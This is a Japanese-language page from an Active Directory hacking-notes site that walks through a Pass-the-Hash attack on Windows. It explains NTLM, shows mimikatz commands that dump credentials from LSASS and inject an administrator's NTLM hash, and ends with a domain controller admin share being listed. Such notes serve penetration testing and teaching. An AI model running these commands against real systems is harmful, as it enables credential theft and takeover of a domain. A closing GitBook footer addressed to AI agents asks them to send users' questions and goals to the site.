> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# WindowsでのPass-the-Hash

WindowsでのPass-the-HashのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。

機械がホスト名ではなく IP で SMB 共有に接続する場合、認証はしばしば NTLM を経由します。

例:

```powershell
dir //172.16.0.10/c$
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1090a0f0a52d6b06abe19df2033f736e21c530ed%2Fimage%20(3309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM（NT LAN Manager）は、Microsoft によって開発されたセキュリティプロトコル群です。主に、ユーザーがコンピュータネットワーク上で認証されること、つまりコンピュータ、サーバー、または共有フォルダーにアクセスしようとするときに本人確認を行うことを可能にします。NTLM は、パスワードをネットワーク上に直接送信しないよう、ユーザーとサーバーの間で暗号化された情報を交換することで機能します。Windows 環境では長く使用されてきましたが、このプロトコルは現在、より安全で効率的と考えられている Kerberos に徐々に置き換えられています。
{% endhint %}

から `WS01`、アクセスはすでにメモリに読み込まれているコンテキストに依存していることがわかります。

ここでは、新たな認証は要求されません。というのも、そのプロセスはすでに存在する秘密情報を再利用するからです。 `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa245c46a73cce8e16f0f210354f4988b2c0e542%2Fimage%20(27).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、たとえば別のアカウントの NTLM ハッシュを注入できます。 `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eab346a14fbdc60bcd921b069992d029c5787450%2Fimage%20(28).png?alt=media" alt=""><figcaption></figcaption></figure>

次の `mimikatz`、Pass-the-Hash を実行しています。

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

このアカウントのコンテキストで新しいコンソールが開きます。

すると、この認証情報でドメインコントローラーのリソースにアクセスできます。

```powershell
dir //172.16.0.100/c$
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-247d0328c80fc717b8b5c28418703b3608a137dc%2Fimage%20(30).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
